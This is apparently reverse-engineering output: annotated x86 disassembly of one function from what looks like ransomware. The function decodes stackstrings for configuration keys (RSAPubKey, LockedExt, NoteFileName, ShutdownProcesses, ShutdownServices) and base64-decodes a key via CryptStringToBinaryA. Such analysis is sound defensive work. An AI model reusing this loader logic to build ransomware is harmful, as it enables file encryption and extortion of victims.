Function at 0x405220
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
push dword [esi + 0x3a4]
call fcn.00401230
mov ebx, eax
test ebx, ebx
je 0x40539a
push 0
lea eax, [esi + 0x3ac]
mov dword [ebp - 0xc], 0
push eax
lea eax, [esi + 0x3b0]
mov dword [ebp - 8], 0
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
push ebx
push esi
mov dword [ebp - 0x1c], 0x68746150
mov dword [ebp - 0x18], 0x706f7453
mov dword [ebp - 0x14], 0x7473694c
mov dword [ebp - 0x10], 0
call fcn.00405140
add esp, 0x18
test eax, eax
je 0x40539a
push 1
lea eax, [esi + 0x3b4]
mov dword [ebp - 0x1c], 0x656c6946
push eax
lea ecx, [esi + 0x3b8]
mov dword [ebp - 0x18], 0x6b73614d
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x706f7453
push eax
push ebx
push esi
mov dword [ebp - 0x10], 0x7473694c
mov dword [ebp - 0xc], 0
call fcn.00405140
add esp, 0x18
test eax, eax
je 0x40539a
push 0
lea eax, [esi + 0x3bc]
mov dword [ebp - 0x1c], 0x74756853
push eax
lea eax, [esi + 0x3c0]
mov dword [ebp - 0x18], 0x6e776f64
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x636f7250
push eax
push ebx
push esi
mov dword [ebp - 0x10], 0x65737365
mov dword [ebp - 0xc], 0x73
call fcn.00405140
add esp, 0x18
test eax, eax
je 0x40539a
push 0
lea eax, [esi + 0x3c4]
mov dword [ebp - 0x1c], 0x74756853
push eax
lea eax, [esi + 0x3c8]
mov dword [ebp - 0x18], 0x6e776f64
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x76726553
push eax
push ebx
push esi
mov dword [ebp - 0x10], 0x73656369
mov dword [ebp - 0xc], 0
call fcn.00405140
add esp, 0x18
test eax, eax
je 0x40539a
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x50415352
push eax
push ebx
mov dword [ebp - 0x18], 0x654b6275
mov dword [ebp - 0x14], 0x79
call fcn.00401200
test eax, eax
jne 0x4053a2
push str.____error_load_value:_RSAPubKey_n
call fcn.00406020
add esp, 4
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + 0x10]
mov dword [esi + 0x3cc], eax
lea eax, [ebp - 0x1c]
push eax
push ebx
mov dword [ebp - 0x1c], 0x6b636f4c
mov dword [ebp - 0x18], 0x78456465
mov dword [ebp - 0x14], 0x74
call fcn.00401200
test eax, eax
jne 0x4053e3
push str.____error_load_value:_LockedExt_n
call fcn.00406020
add esp, 4
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + 0x10]
mov ecx, dword [esi + 0x3b4]
mov dword [esi + 0x3d0], eax
mov eax, dword [esi + 0x3b8]
push edi
xor edi, edi
mov eax, dword [eax + ecx*4 - 4]
mov byte [eax], 0x2a
mov ecx, dword [esi + 0x3b4]
mov eax, dword [esi + 0x3b8]
mov eax, dword [eax + ecx*4 - 4]
mov byte [eax + 1], 0x2e
mov eax, dword [esi + 0x3d0]
cmp byte [eax], 0
je 0x40544e
mov eax, dword [esi + 0x3b8]
lea edi, [edi + 1]
mov ecx, dword [esi + 0x3b4]
mov edx, dword [esi + 0x3d0]
mov ecx, dword [eax + ecx*4 - 4]
mov al, byte [edi + edx - 1]
mov byte [ecx + edi + 1], al
mov eax, dword [esi + 0x3d0]
cmp byte [edi + eax], 0
jne 0x405421
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x65746f4e
push eax
push ebx
mov dword [ebp - 0x18], 0x656c6946
mov dword [ebp - 0x14], 0x656d614e
mov dword [ebp - 0x10], 0
call fcn.00401200
mov edi, eax
test edi, edi
jne 0x405490
push str.____error_load_value:_NoteFileName_n
call fcn.00406020
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x10]
xor ecx, ecx
mov al, byte [eax]
test al, al
je 0x4054b5
lea edx, [esi + 0x3d4]
cbw
lea edx, [edx + 2]
inc ecx
mov word [edx - 2], ax
mov eax, dword [edi + 0x10]
mov al, byte [ecx + eax]
test al, al
jne 0x4054a1
xor eax, eax
mov word [esi + ecx*2 + 0x3d4], ax
lea eax, [esi + 0x3d4]
push eax
lea eax, [ebp - 0x1c]
push eax
push str.____s:__ws_n
call fcn.00406020
mov ecx, dword [esi + 0x3a4]
xor eax, eax
add esp, 0xc
cmp byte [ecx], al
je 0x4054ea
inc eax
cmp byte [ecx + eax], 0
jne 0x4054e3
inc eax
add eax, ecx
mov dword [esi + 0x5dc], eax
cmp byte [eax], 0
je 0x40550f
mov ecx, dword [esi + 0x5e0]
nop
inc ecx
lea eax, [eax + 1]
mov dword [esi + 0x5e0], ecx
cmp byte [eax], 0
jne 0x405500
push 0
push 0
lea eax, [esi + 0xde4]
mov dword [eax], 0x800
push eax
lea eax, [esi + 0x5e4]
push eax
push 1
push 0
push dword [esi + 0x3cc]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x40554f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CryptStringToBinaryA___error__code:__d_n
call fcn.00406020
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret